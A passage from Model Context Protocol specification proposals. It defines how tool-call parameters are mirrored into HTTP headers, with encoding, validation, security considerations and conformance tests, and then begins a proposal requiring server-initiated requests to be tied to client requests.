A SaaS platform exposes tools that operate on different customer tenants. By exposing the tenant ID in a header, the platform can route requests to tenant-specific infrastructure.
**Tool Definition**:
```json theme={null}
{
"name": "query_analytics",
"description": "Query analytics data for a tenant",
"inputSchema": {
"type": "object",
"properties": {
"tenant_id": {
"type": "string",
"description": "The tenant identifier",
"x-mcp-header": "TenantId"
},
"metric": {
"type": "string",
"description": "The metric to query"
},
"start_date": {
"type": "string",
"description": "Start date for the query range"
},
"end_date": {
"type": "string",
"description": "End date for the query range"
}
},
"required": ["tenant_id", "metric", "start_date", "end_date"]
}
}
```
**Request**:
```http theme={null}
POST /mcp HTTP/1.1
Content-Type: application/json
Mcp-Session-Id: 1f3a4b5c-6d7e-8f9a-0b1c-2d3e4f5a6b7c
Mcp-Method: tools/call
Mcp-Name: query_analytics
Mcp-Param-TenantId: acme-corp
{
"jsonrpc": "2.0",
"id": 5,
"method": "tools/call",
"params": {
"name": "query_analytics",
"arguments": {
"tenant_id": "acme-corp",
"metric": "page_views",
"start_date": "2026-01-01",
"end_date": "2026-01-31"
}
}
}
```
#### Example: Priority-Based Request Handling
A server can expose a priority parameter to allow infrastructure to prioritize certain requests.
**Tool Definition**:
```json theme={null}
{
"name": "generate_report",
"description": "Generate a complex report",
"inputSchema": {
"type": "object",
"properties": {
"report_type": {
"type": "string",
"description": "Type of report to generate"
},
"priority": {
"type": "string",
"description": "Request priority: low, normal, or high",
"x-mcp-header": "Priority"
}
},
"required": ["report_type"]
}
}
```
**Request**:
```http theme={null}
POST /mcp HTTP/1.1
Content-Type: application/json
Mcp-Session-Id: 1f3a4b5c-6d7e-8f9a-0b1c-2d3e4f5a6b7c
Mcp-Method: tools/call
Mcp-Name: generate_report
Mcp-Param-Priority: high
{
"jsonrpc": "2.0",
"id": 6,
"method": "tools/call",
"params": {
"name": "generate_report",
"arguments": {
"report_type": "quarterly_summary",
"priority": "high"
}
}
}
```
### Header Processing
#### Value Encoding
Clients MUST encode parameter values before including them in HTTP headers to ensure safe transmission and prevent injection attacks.
**Character Restrictions**
Per [RFC 9110](https://datatracker.ietf.org/doc/html/rfc9110#name-field-values), HTTP header field values must consist of visible ASCII characters (0x21-0x7E), space (0x20), and horizontal tab (0x09). The following characters are explicitly prohibited:
* Carriage return (`\r`, 0x0D)
* Line feed (`\n`, 0x0A)
* Null character (`\0`, 0x00)
* Any character outside the ASCII range (> 0x7F)
**Whitespace Handling**
HTTP parsers typically trim leading and trailing whitespace from header values. To preserve leading and trailing spaces in parameter values, clients MUST use Base64 encoding when the value:
* Starts with a space (0x20) or horizontal tab (0x09)
* Ends with a space (0x20) or horizontal tab (0x09)
**Encoding Rules**
Clients MUST apply the following encoding rules in order:
1. **Type conversion**: Convert the parameter value to its string representation:
* `string`: Use the value as-is
* `integer`: Convert to decimal string representation (e.g., `42`, `-7`)
* `boolean`: Convert to lowercase `"true"` or `"false"`
2. **Whitespace check**: If the string starts or ends with whitespace (space or tab):
* Apply Base64 encoding (see below)
3. **ASCII validation**: Check if the string contains only valid ASCII characters (0x20-0x7E):
* If valid, proceed to step 4
* If invalid (contains non-ASCII characters), apply Base64 encoding (see below)
4. **Control character check**: If the string contains any control characters (0x00-0x1F or 0x7F):
* Apply Base64 encoding (see below)
**Base64 Encoding for Unsafe Values**
When a value cannot be safely represented as a plain ASCII header value, clients MUST use Base64 encoding of the UTF-8 representation of the value with the following format:
```text theme={null}
Mcp-Param-{Name}: =?base64?{Base64EncodedValue}?=
```
The prefix `=?base64?` and suffix `?=` indicate that the value is Base64-encoded. These markers are case-sensitive and MUST appear exactly as shown (lowercase). Servers and intermediaries that need to inspect these values MUST decode them accordingly.
To avoid ambiguity, clients MUST also Base64-encode any plain-ASCII value that matches the sentinel pattern (i.e., starts with `=?base64?` and ends with `?=`).
**Examples**:
| Original Value | Reason | Encoded Header Value |
| ---------------------- | ------------------------ | ----------------------------------------------------- |
| `"us-west1"` | Plain ASCII | `Mcp-Param-Region: us-west1` |
| `"Hello, 世界"` | Contains non-ASCII | `Mcp-Param-Greeting: =?base64?SGVsbG8sIOS4lueVjA==?=` |
| `" padded "` | Leading/trailing spaces | `Mcp-Param-Text: =?base64?IHBhZGRlZCA=?=` |
| `"line1\nline2"` | Contains newline | `Mcp-Param-Text: =?base64?bGluZTEKbGluZTI=?=` |
| `"=?base64?literal?="` | Matches sentinel pattern | `Mcp-Param-Val: =?base64?PT9iYXNlNjQ/bGl0ZXJhbD89?=` |
#### Client Behavior
When constructing a `tools/call` request via HTTP transport, the client MUST:
1. Extract the values for any standard headers from the request body (e.g., `method`, `params.name`, `params.uri`)
2. Append the `Mcp-Method` header and, if applicable, `Mcp-Name` header to the request
3. Inspect the tool's `inputSchema` for properties marked with `x-mcp-header` and extract the value for each parameter
4. Encode the values according to the rules in [Value Encoding](#value-encoding)
5. Append a `Mcp-Param-{Name}: {Value}` header to the request:
> **Implementation Note**: Clients MUST construct `Mcp-Param-*` headers using the most recently obtained `inputSchema` for the tool. A client that has never obtained the tool's `inputSchema` SHOULD send the request without `Mcp-Param-*` headers. If the server rejects the request because required `Mcp-Param-*` headers are missing or do not match the body, the client SHOULD call `tools/list` to obtain the current `inputSchema`, then retry the original request with the appropriate headers. Clients MAY pre-load tool definitions via other means (e.g., from a previous session or configuration) to enable header emission without a prior `tools/list` call.
#### Server Behavior
When receiving a request, the server MUST reject requests with `Mcp-Param-{Name}` headers that contain invalid characters (see "Character Restrictions" in the [Value Encoding](#value-encoding) section).
Any server that processes the message body (not simply forwarding it) MUST validate that encoded header values, after decoding if Base64-encoded, match the corresponding values in the request body. Servers MUST reject requests with a `400 Bad Request` HTTP status if any validation fails.
**Error Code**
When rejecting a request due to header validation failure, servers MUST return a JSON-RPC error response with the following error code:
| Code | Name | Description |
| -------- | ---------------- | ---------------------------------------------------------------------------------------------------------------------- |
| `-32001` | `HeaderMismatch` | The HTTP headers do not match the corresponding values in the request body, or required headers are missing/malformed. |
This error code is in the JSON-RPC implementation-defined server error range (`-32000` to `-32099`).
**Error Response Format**:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32001,
"message": "Header mismatch: Mcp-Name header value 'foo' does not match body value 'bar'"
}
}
```
**Validation Failure Conditions**:
* A required standard header (`Mcp-Method`, `Mcp-Name`, etc.) is missing
* A header value does not match the request body value
* A Base64-encoded value cannot be decoded
* A header value contains invalid characters
> **Note**: Intermediaries MUST return an appropriate HTTP error status (e.g., `400 Bad Request`) for validation failures but are not required to return a JSON-RPC error response.
> **Note**: Intermediaries that enforce policy based on mirrored headers (e.g., routing or rate-limiting by tenant) SHOULD verify that the `MCP-Protocol-Version` header indicates a version that requires header–body validation. If the version is older or the header is absent, the intermediary SHOULD reject the request rather than trusting unvalidated header values.
**Custom Header Handling**:
Custom headers (those defined via `x-mcp-header`) follow the same validation rules as standard headers:
| Scenario | Client Behavior | Server Behavior |
| ---------------------------------------- | ------------------------------ | ---------------------------------------- |
| Parameter value provided | Client MUST include the header | Server MUST validate header matches body |
| Parameter value is `null` | Client MUST omit the header | Server MUST NOT expect the header |
| Parameter not in arguments | Client MUST omit the header | Server MUST NOT expect the header |
| Client omits header but value is in body | Non-conforming client | Server MUST reject the request |
When rejecting requests due to missing or invalid custom headers, the server MUST return HTTP status `400 Bad Request` with JSON-RPC error code `-32001` (`HeaderMismatch`).
## Rationale
### Headers vs Path
This proposal mirrors request data into headers rather than encoding it in the URL path.
**Advantages of Headers**:
1. **Simplicity**: All widely-used network load balancers support routing based on HTTP headers
2. **Multi-version support**: Easier to support multiple MCP versions in clients and servers
3. **Compatibility**: Headers work with the existing Streamable HTTP transport design without changing the endpoint structure
4. **Unlimited values**: Header values can contain characters that would require encoding in URLs (e.g., `/`, `?`, `#`)
5. **No URL length limits**: Very long values can be transmitted without hitting URL length restrictions
**Advantages of Path-based Routing**:
1. **Framework simplicity**: Many web frameworks (Flask, Express, Django, Rails) have built-in support for path-based routing with minimal configuration
2. **Logging**: URL paths are typically logged by default, making debugging easier
**Trade-offs and Framework Considerations**:
| Framework | Header-based Routing | Path-based Routing |
| ----------------- | ------------------------------------------------------------------- | ------------------------------------------------ |
| Flask (Python) | Requires middleware or decorators to extract headers before routing | Native support via `@app.route('/mcp/')` |
| Express (Node.js) | Easy via `req.headers` but requires custom routing logic | Native support via `app.post('/mcp/:method')` |
| Django (Python) | Requires custom middleware | Native URL patterns |
| Go (net/http) | Easy via `r.Header.Get()` | Native via path patterns |
| ASP.NET Core | Easy via `[FromHeader]` attribute | Native via route templates |
For frameworks like Flask that strongly favor path-based routing, implementing header-based routing requires additional code:
```python theme={null}
# Flask example: Header-based routing requires manual dispatch
@app.route('/mcp', methods=['POST'])
def mcp_handler():
method = request.headers.get('Mcp-Method')
if method == 'tools/call':
return handle_tools_call(request)
elif method == 'resources/read':
return handle_resources_read(request)
# ... etc
```
Despite this additional complexity in some frameworks, header-based routing was chosen because:
1. **Backwards Compatibility** introducing path based routing would require all existing MCP Servers to take a major update, and potentially support two sets of endpoints to support multiple versions. Even if the SDKs can paper over this additional operational concerns like testing, metrics, etc would need to happen. Header based routing requires minimal client side changes. And clients which don't opt in will still function correctly.
2. **Infrastructure benefits outweigh framework complexity**: The primary goal is enabling network infrastructure (load balancers, proxies, WAFs) to route and process requests without body parsing. This benefit applies regardless of the server framework.
### Infrastructure Support
HTTP header-based routing and processing is supported by:
* **Load Balancers**: All major load balancers (HAProxy, NGINX, Cloudflare, F5, Envoy/Istio)
* **Rate Limiting**: 9 of 11 popular rate-limiting solutions
* **Authorization**: Kong, Tyk, AWS API Gateway, Google Cloud Apigee, Azure API Gateway, NGINX, Apache APISIX, Istio/Envoy
* **Web Application Firewalls**: Cloudflare WAF, AWS WAF, Azure WAF, F5 Advanced WAF, FortiWeb, Imperva WAF, Barracuda WAF, ModSecurity, Akamai, Wallarm
* **Observability**: Most observability solutions can extract data from HTTP headers
### Explicit Header Names in x-mcp-header
The design uses an explicit name value in `x-mcp-header` rather than deriving the header name from the parameter name because:
1. **Case sensitivity mismatch**: Header names are case-insensitive, but JSON Schema property names are case-sensitive
2. **Character set constraints**: Header names are limited to ASCII characters, but tool parameter names may contain arbitrary Unicode
3. **Simplicity**: No complex scheme needed for constructing header names from nested properties
### Placement Within JSON Schema
The `x-mcp-header` extension is placed directly within the JSON Schema of the property to be mirrored, rather than in a separate metadata field outside the schema. This design choice offers several advantages:
1. **Co-location**: The header mapping is defined alongside the property it affects, making it immediately clear which parameter will be mirrored. Developers don't need to cross-reference between the schema and a separate metadata structure.
2. **Established pattern**: JSON Schema explicitly supports extension keywords (properties starting with `x-`), and this pattern is widely used in ecosystems like OpenAPI. Tool authors and SDK developers are already familiar with this approach.
3. **Schema composability**: When schemas are composed, extended, or referenced using `$ref`, the `x-mcp-header` annotation travels with the property definition. A separate metadata structure would require complex synchronization logic to maintain consistency.
4. **Tooling compatibility**: Existing JSON Schema validators ignore unknown keywords by default, so adding `x-mcp-header` doesn't break existing schema validation. Tools that don't understand this extension simply skip it.
5. **Reduced complexity**: A separate metadata structure would require defining a mapping mechanism (e.g., JSON Pointer or property paths) to associate headers with properties, adding implementation complexity and potential for errors.
### Scope: Tools Only
The `x-mcp-header` mechanism currently applies only to `tools/call` requests because tools are the only MCP primitive with an `inputSchema` that supports JSON Schema extension keywords. Resources and prompts lack an equivalent schema structure: `resources/read` takes only a `uri` (already exposed via `Mcp-Name`), and `prompts/get` defines arguments as a simple `{name, description, required}` array without JSON Schema extensibility. Generalizing custom header mapping to these primitives would require adding `inputSchema`-style definitions to resources and prompts, which is a larger specification change. This is noted as a potential future extension.
### No Specification-Level Header Size Limit
This specification intentionally does not define limits on individual header value length, total MCP header size, or number of custom headers. Headers are solely an HTTP concept, and HTTP itself ([RFC 9110](https://datatracker.ietf.org/doc/html/rfc9110)) does not specify header size limits. Common HTTP infrastructure imposes its own limits — ranging from 4–8 KB on some servers (e.g., Apache at \~8190 bytes) to 128 KB on others (e.g., Cloudflare) — but the appropriate limit depends on the deployment environment, which only the service operator can determine.
Defining a specification-level limit (such as "omit headers exceeding 8192 bytes") would introduce problems:
1. **Arbitrary threshold**: Any chosen value would be too low for some deployments and irrelevant for others. The "right" limit varies by infrastructure.
2. **Counterproductive omission**: If a client omits a header because it exceeds a spec-defined limit, servers and intermediaries that rely on that header for routing must either parse the body or reject the request — undermining the core purpose of exposing values in headers.
3. **Unnecessary SDK burden**: SDK maintainers would need to implement and test limit-checking logic for a constraint that rarely applies in practice.
4. **Redundant with HTTP**: Servers and intermediaries already reject oversized headers using standard HTTP status codes (`413 Request Entity Too Large`, `431 Request Header Fields Too Large`), which clients must handle regardless.
> **Note to implementers**: Servers, intermediaries, and clients MAY independently impose limits on individual header size, total MCP header size, or number of custom headers as appropriate for their deployment environment. Servers SHOULD document any limits they impose. Clients SHOULD gracefully handle `413 Request Entity Too Large` or `431 Request Header Fields Too Large` responses. Tool authors SHOULD limit `x-mcp-header` annotations to parameters that provide clear infrastructure benefits.
### Encoding Approach for Unsafe Values
Four approaches were considered for encoding parameter values that cannot be safely represented as plain ASCII header values (non-ASCII characters, leading/trailing whitespace, control characters):
1. **Sentinel wrapping (chosen approach)**: Use the `=?base64?{value}?=` prefix/suffix within the same `Mcp-Param-{Name}` header to signal Base64-encoded values.
2. **Separate header name**: Use a distinct header name for encoded values, e.g. `Mcp-ParamEncoded-{Name}`, so the encoding is indicated by the header name rather than the value format.
3. **Implicit encoding**: Let the parser infer encoding from the tool schema, e.g. via a `"x-mcp-header-encoding": "base64"` annotation in the tool definition.
4. **Always encode**: Base64-encode every `Mcp-Param-{Name}` value unconditionally.
| Approach | Pros | Cons |
| -------------------- | ---------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Sentinel wrapping | Single header name per parameter; common case (plain ASCII) is human-readable; intermediaries can route on plain values without decoding | In-band signaling can theoretically collide with literal values; every reader must check for the prefix |
| Separate header name | No in-band ambiguity; encoding is self-documenting from the header name | Doubles the header namespace; every intermediary must check two header names per parameter; needs a conflict rule if both are present |
| Implicit encoding | Simplest wire format; no sentinels or extra headers | Intermediaries need access to the tool schema to know whether to decode — defeats the purpose of exposing values in headers; static per-parameter decision doesn't handle the mixed case well |
| Always encode | Simplest rules; no conditional logic or ambiguity | Plain ASCII values become unreadable; intermediaries must decode Base64 to inspect any value, significantly undermining the core motivation of this SEP |
**Conclusion**: The sentinel wrapping approach provides the best trade-off. The primary use case for custom headers is enabling intermediaries to route and filter on simple, readable values like region names and tenant IDs — these are invariably plain ASCII and never trigger Base64 encoding. Option 4 makes all values opaque to intermediaries. Option 3 leaves intermediaries unable to distinguish encoded from literal values without access to the tool schema. Option 2 eliminates in-band ambiguity but doubles the header namespace, requiring intermediaries to check two possible header names per parameter and adding a conflict rule when both are present. The theoretical collision risk of the sentinel in Option 1 is negligible since `=?base64?...?=` is an unlikely literal parameter value in practice.
## Backward Compatibility
### Standard Headers
Existing clients and SDKs will be required to include the standard headers when using the new MCP version. This is a minor addition since clients already include headers like `Mcp-Protocol-Version`, adding only one or two new headers per message.
Servers implementing the new version MUST reject requests missing required headers. Servers MAY support older clients by accepting requests without headers when negotiating an older protocol version.
### Custom Headers from Tool Parameters
The `x-mcp-header` extension is optional for servers. Existing tools without this property continue to work unchanged. However, clients implementing the MCP version that includes this specification MUST support the feature. Older clients that do not support `x-mcp-header` will still function but will not provide the header-based routing benefits that servers may depend on.
## Security Implications
### Header Injection
Header injection attacks occur when malicious values containing control characters (especially `\r\n`) are included in headers, potentially allowing attackers to inject additional headers or terminate the header section early.
Clients MUST follow the [Value Encoding](#value-encoding) rules defined in this specification. These rules ensure that:
* Control characters are never included in header values
* Non-ASCII values are safely encoded using Base64
* Values exceeding safe length limits are omitted
### Header Spoofing
Servers MUST validate that header values match the corresponding values in the request body. This prevents clients from sending mismatched headers to manipulate routing while executing different operations.
For example, a malicious client could attempt to:
* Route a request to a less-secured region while executing operations intended for a high-security region
* Bypass rate limits by spoofing tenant identifiers
* Evade security policies by misrepresenting the operation being performed
### Information Disclosure
Tool parameter values designated for headers will be visible to network intermediaries (load balancers, proxies, logging systems). Server developers:
* SHOULD NOT mark sensitive parameters (passwords, API keys, tokens, PII) with `x-mcp-header`
* SHOULD document which parameters are exposed as headers
* SHOULD consider that Base64 encoding provides no confidentiality—it is merely an encoding, not encryption
### Trusting Header Values
Header values originate from tool call arguments, which may be influenced by an LLM or a malicious client. Intermediaries and servers MUST NOT treat these values as trusted input for security-sensitive decisions. In particular:
* Header values that imply access to specific resources (e.g., tenant IDs, region names) MUST be independently verified against the authenticated user's permissions before granting access to those resources.
* Header values MUST NOT be used as the sole basis for granting elevated privileges without server-side enforcement of rate limits and quotas.
* Deployments SHOULD reject requests with oversized or excessive headers early in the pipeline — before performing Base64 decoding or body parsing — to mitigate denial-of-service risks from crafted payloads.
## Conformance Test Cases
This section defines edge cases that conformance tests MUST cover to ensure interoperability between implementations.
### Standard Header Edge Cases
#### Case Sensitivity
| Test Case | Input | Expected Behavior |
| -------------------------- | ------------------------ | ------------------------------------------------------ |
| Header name case variation | `mcp-method: tools/call` | Server MUST accept (header names are case-insensitive) |
| Header name mixed case | `MCP-METHOD: tools/call` | Server MUST accept |
| Method value case | `Mcp-Method: TOOLS/CALL` | Server MUST reject (method values are case-sensitive) |
#### Header/Body Mismatch
| Test Case | Header Value | Body Value | Expected Behavior |
| -------------------------- | ------------------------ | --------------------------- | --------------------------------------------------- |
| Method mismatch | `Mcp-Method: tools/call` | `"method": "prompts/get"` | Server MUST reject with 400 and error code `-32001` |
| Tool name mismatch | `Mcp-Name: foo` | `"params": {"name": "bar"}` | Server MUST reject with 400 and error code `-32001` |
| Missing required header | (no `Mcp-Method`) | Valid body | Server MUST reject with 400 and error code `-32001` |
| Extra whitespace in header | `Mcp-Name: foo ` | `"params": {"name": "foo"}` | Server MUST accept (trim whitespace per HTTP spec) |
#### Special Characters in Values
| Test Case | Value | Expected Behavior |
| ------------------------------- | ------------------------------------- | ---------------------------------- |
| Tool name with hyphen | `my-tool-name` | Client sends as-is; server accepts |
| Tool name with underscore | `my_tool_name` | Client sends as-is; server accepts |
| Resource URI with special chars | `file:///path/to/file%20name.txt` | Client sends as-is; server accepts |
| Resource URI with query string | `https://example.com/resource?id=123` | Client sends as-is; server accepts |
### Custom Header Edge Cases
#### x-mcp-header Name Conflicts
| Test Case | Schema | Expected Behavior |
| --------------------------------------- | --------------------------------------------------------- | ---------------------------------------------------------------- |
| Duplicate header names (same case) | Two properties with `"x-mcp-header": "Region"` | Client MUST reject tool definition |
| Duplicate header names (different case) | `"x-mcp-header": "Region"` and `"x-mcp-header": "REGION"` | Client MUST reject tool definition (case-insensitive uniqueness) |
| Header name matches standard header | `"x-mcp-header": "Method"` | Allowed (produces `Mcp-Param-Method`, not `Mcp-Method`) |
| Empty header name | `"x-mcp-header": ""` | Client MUST reject tool definition |
#### Invalid x-mcp-header Values
| Test Case | x-mcp-header Value | Expected Behavior |
| -------------------------- | ---------------------------------- | ---------------------------------- |
| Contains space | `"x-mcp-header": "My Region"` | Client MUST reject tool definition |
| Contains colon | `"x-mcp-header": "Region:Primary"` | Client MUST reject tool definition |
| Contains non-ASCII | `"x-mcp-header": "Région"` | Client MUST reject tool definition |
| Contains control character | `"x-mcp-header": "Region\t1"` | Client MUST reject tool definition |
#### Value Encoding Edge Cases
| Test Case | Parameter Value | Expected Header Value |
| ----------------------------------- | ------------------ | ----------------------------------------------- |
| Plain ASCII string | `"us-west1"` | `Mcp-Param-Region: us-west1` |
| String with leading space | `" us-west1"` | `Mcp-Param-Region: =?base64?IHVzLXdlc3Qx?=` |
| String with trailing space | `"us-west1 "` | `Mcp-Param-Region: =?base64?dXMtd2VzdDEg?=` |
| String with leading/trailing spaces | `" us-west1 "` | `Mcp-Param-Region: =?base64?IHVzLXdlc3QxIA==?=` |
| String with internal spaces only | `"us west 1"` | `Mcp-Param-Region: us west 1` |
| Boolean true | `true` | `Mcp-Param-Flag: true` |
| Boolean false | `false` | `Mcp-Param-Flag: false` |
| Integer | `42` | `Mcp-Param-Count: 42` |
| Floating point | `3.14159` | `Mcp-Param-Value: 3.14159` |
| Non-ASCII characters | `"日本語"` | `Mcp-Param-Text: =?base64?5pel5pys6Kqe?=` |
| String with newline | `"line1\nline2"` | `Mcp-Param-Text: =?base64?bGluZTEKbGluZTI=?=` |
| String with carriage return | `"line1\r\nline2"` | `Mcp-Param-Text: =?base64?bGluZTENCmxpbmUy?=` |
| String with leading tab | `"\tindented"` | `Mcp-Param-Text: =?base64?CWluZGVudGVk?=` |
| Empty string | `""` | `Mcp-Param-Name: ` (empty value) |
#### Type Restriction Violations
| Test Case | Property Type | x-mcp-header Present | Expected Behavior |
| --------------- | ---------------------- | -------------------- | ---------------------------------- |
| Array type | `"type": "array"` | Yes | Server MUST reject tool definition |
| Object type | `"type": "object"` | Yes | Server MUST reject tool definition |
| Null type | `"type": "null"` | Yes | Server MUST reject tool definition |
| Nested property | Property inside object | Yes | Server MUST reject tool definition |
### Server Validation Edge Cases
#### Base64 Decoding
| Test Case | Header Value | Expected Behavior |
| ------------------------- | ------------------------ | ------------------------------------------------------------------------------------------------- |
| Valid Base64 | `=?base64?SGVsbG8=?=` | Server decodes to `"Hello"` and validates |
| Invalid Base64 padding | `=?base64?SGVsbG8?=` | Server MUST reject with 400 and error code `-32001`; Intermediary MAY reject with 400 status code |
| Invalid Base64 characters | `=?base64?SGVs!!!bG8=?=` | Server MUST reject with 400 and error code `-32001`; Intermediary MAY reject with 400 status code |
| Missing prefix | `SGVsbG8=` | Server treats as literal value, not Base64 |
| Missing suffix | `=?base64?SGVsbG8=` | Server treats as literal value, not Base64 |
| Non-lowercase prefix | `=?BASE64?SGVsbG8=?=` | Server treats as literal value, not Base64 |
#### Null and Missing Values
| Test Case | Scenario | Expected Behavior |
| -------------------------------------- | --------------------------- | -------------------------- |
| Parameter with x-mcp-header is null | `"region": null` | Client MUST omit header |
| Parameter with x-mcp-header is missing | Parameter not in arguments | Client MUST omit header |
| Optional parameter present | Optional parameter provided | Client MUST include header |
#### Missing Custom Header with Value in Body
| Test Case | Header Present | Body Value | Expected Behavior |
| -------------------------------------- | --------------------- | --------------------------- | ------------------------------------------------------------------------------------------------- |
| Standard header omitted, value in body | No `Mcp-Name` | `"params": {"name": "foo"}` | Server MUST reject with 400 and error code `-32001`; Intermediary MAY reject with 400 status code |
| Custom header omitted, value in body | No `Mcp-Param-Region` | `"region": "us-west1"` | Server MUST reject with 400 and error code `-32001`; Intermediary MAY reject with 400 status code |
## Reference Implementation
*To be provided before this SEP reaches Final status.*
Implementation requirements:
* **Server SDKs**: Provide a mechanism (attribute/decorator) for marking parameters with `x-mcp-header`
* **Client SDKs**: Implement the client behavior for extracting and encoding header values
* **Validation**: Both sides must validate header/body consistency
## Changes since SEP became Final
This SEP is preserved as a historical record of what was accepted. The list below tracks changes made to the specification after this SEP reached Final status. Refer to the current [specification](https://modelcontextprotocol.io/specification) for the authoritative, up-to-date requirements.
* **`HeaderMismatch` error code reassigned from `-32001` to `-32020`.** This SEP originally assigned `HeaderMismatch` to `-32001`. The error-code allocation update in [#2907](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2907) reassigned `HeaderMismatch` to `-32020`. All references to `-32001` above should be read as `-32020` when implementing against the current specification.
# SEP-2260: Require Server requests to be associated with a Client request.
Source: https://modelcontextprotocol.io/seps/2260-Require-Server-requests-to-be-associated-with-Client-requests
Require Server requests to be associated with a Client request.
Final
Standards Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ------------------------------------------------------------------------------- |
| **SEP** | 2260 |
| **Title** | Require Server requests to be associated with a Client request. |
| **Status** | Final |
| **Type** | Standards Track |
| **Created** | 2026-02-16 |
| **Author(s)** | MCP Transports Working Group |
| **Sponsor** | [@CaitieM20](https://github.com/CaitieM20) - Caitie McCaffrey |
| **PR** | [#2260](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2260) |
***
## Abstract
This SEP clarifies that `roots/list`, `sampling/createMessage`, and
`elicitation/create` requests **MUST** be associated with an originating
client-to-server request (e.g., during `tools/call`, `resources/read`, or
`prompts/get` processing). Standalone server-initiated requests of these types
outside notifications **MUST NOT** be implemented.
Although not enforced in the current MCP Data Layer, logically these requests
**MUST** be associated with a valid client-to-server JSON-RPC Request Id.
The operational server-to-client **Ping** is excepted from this restriction.
## Motivation
### Current Specification
The current specification uses **SHOULD** language in the transport layer:
In context of responding to a POST Request in the Streamable HTTP transport [(2025-11-25/basic/transports.mdx:121-L123)](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/2025-11-25/docs/specification/2025-11-25/basic/transports.mdx?plain=1#L121-L123):
> * "The server **MAY** send JSON-RPC *requests* and *notifications* before sending the JSON-RPC *response*. These messages **SHOULD** relate to the originating client *request*."
For the optional GET SSE Stream [(2025-11-25/basic/transports.mdx:146-L148)](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/2025-11-25/docs/specification/2025-11-25/basic/transports.mdx?plain=1#L146C1-L148C32):
> * "The server **MAY** send JSON-RPC *requests* and *notifications* on the stream."
> * "These messages **SHOULD** be unrelated to any concurrently-running JSON-RPC *request* from the client."
Although the GET stream allows "unsolicited" requests, its use is entirely optional and cannot be relied upon by MCP Server authors.
### Design Intent
The design intent of MCP Server Requests is to operate reactively **nested within** other MCP operations:
* **Sampling** enables servers to request LLM assistance while processing a tool call, resource request, or prompt
* **Elicitation** enables servers to gather additional user input needed to complete an operation
* **List Roots** enables servers to identify shared storage locations
**Ping** has a special status as it is primarily intended as a keep-alive/health-check mechanism.
For Streamable HTTP Servers this enables SSE Streams to be maintained for extended periods if no Notifications or Requests are available to be sent. For client-to-server Requests they are associable. Future transport implementations will remove the need for dissociated Pings.
The current specification already describes this pattern:
> "Sampling in MCP allows servers to implement agentic behaviors, by enabling LLM calls to occur *nested* inside other MCP server features."
However, the normative requirements don't enforce this constraint.
### Simplification Benefits
Making this constraint explicit:
1. **Simplifies transport implementations** - Transports don't need to support arbitrary server-initiated request/response flows, which require a persistent connection from Server to Client; they only need request-scoped bidirectional communication
2. **Clarifies user experience** - Users understand that sampling/elicitation happens *because* they initiated an action, not spontaneously
3. **Reduces security surface** - Ensures client has context for what scope the additional requested information will be used for. This allows clients to make better informed decisions on whether to provide the requested info.
4. **Aligns with practice** - Based on a scan of GitHub all existing implementations already follow this pattern, except one repo owned by the SEP author with a contrived scenario.
## Specification Changes
### 1. Add Warning Blocks to Feature Documentation
**In `client/sampling.mdx` (after existing security warning):**
```markdown theme={null}
**Request Association Requirement**
Servers **MUST** send `sampling/createMessage` requests only in association with an originating client request (e.g., during `tools/call`, `resources/read`, or `prompts/get` processing).
Standalone server-initiated sampling on independent communication streams (unrelated to any client request) is not supported and **MUST NOT** be implemented. Future transport implementations are not required to support this pattern.
```
**In `client/elicitation.mdx` (after existing security warning):**
```markdown theme={null}
**Request Association Requirement**
Servers **MUST** send server-to-client requests (such as `roots/list`,
`sampling/createMessage`, or `elicitation/create`) only in association with an
originating client request (e.g., during `tools/call`, `resources/read`, or
`prompts/get` processing).
Standalone server-initiated requests of these types on independent
communication streams (unrelated to any client request) are not supported and
**MUST NOT** be implemented. Future transport implementations are not required
to support this pattern.
```
**In `client/roots.mdx` (in `User Interaction Model` section):**
```markdown theme={null}
Servers **MUST** send server-to-client requests (such as `roots/list`,
`sampling/createMessage`, or `elicitation/create`) only in association with an
originating client request (e.g., during `tools/call`, `resources/read`, or
`prompts/get` processing).
Standalone server-initiated requests of these types on independent
communication streams (unrelated to any client request) are not supported and
**MUST NOT** be implemented. Future transport implementations are not required
to support this pattern.
```
**In `basic/utilities/ping.mdx` (In `Overview` section):**
```markdown theme={null}
`ping` is an MCP-level liveness check and **MAY** be sent by either party at
any time on an established session/connection.
In Streamable HTTP, implementations **SHOULD** prefer transport-level SSE
keepalive mechanisms for idle-connection maintenance; `ping` remains available
for protocol-level responsiveness checks.
Request-association requirements for `roots/list`, `sampling/createMessage`,
and `elicitation/create` do not apply to `ping`.
```
### 2. Clarify Transport Layer Constraints
**In `basic/transports.mdx`, POST-initiated SSE streams (line \~121):**
```diff theme={null}
- The server **MAY** send JSON-RPC _requests_ and _notifications_ before sending the
- JSON-RPC _response_. These messages **SHOULD** relate to the originating client
- _request_.
+ The server **MAY** send JSON-RPC _requests_ and _notifications_ before sending the
+ JSON-RPC _response_. These messages **MUST** relate to the originating client
+ _request_.
```
**In `basic/transports.mdx`, GET-initiated standalone SSE streams (line \~147):**
```diff theme={null}
- The server **MAY** send JSON-RPC _requests_ and _notifications_ on the stream.
- These messages **SHOULD** be unrelated to any concurrently-running JSON-RPC
- _request_ from the client.
+ The server **MAY** send JSON-RPC _notifications_ and _pings_ on the stream.
+ These messages **SHOULD** be unrelated to any concurrently-running JSON-RPC
+ _request_ from the client, **except** that `roots/list`,
+ `sampling/createMessage`, and `elicitation/create` requests **MUST NOT** be
+ sent on standalone streams.
```
## Backward Compatibility
### Impact Assessment
This change is expected to have **minimal to no impact** on existing implementations:
1. **Common usage patterns are preserved** - Sampling/elicitation within tool execution, resource reading, and prompt handling remain fully supported
2. **No known implementations affected** - Research conducted on GitHub has shown only one implementation of this pattern. This singular implementation is owned by the SEP author.
### What's Disallowed
The following pattern, which was never explicitly documented or recommended, is now explicitly prohibited:
```python theme={null}
# ❌ PROHIBITED: Standalone server push
async def background_task():
while True:
await asyncio.sleep(60)
# Try to initiate sampling without any client request context
await session.create_message(...) # NOT ALLOWED
```
### What Remains Supported
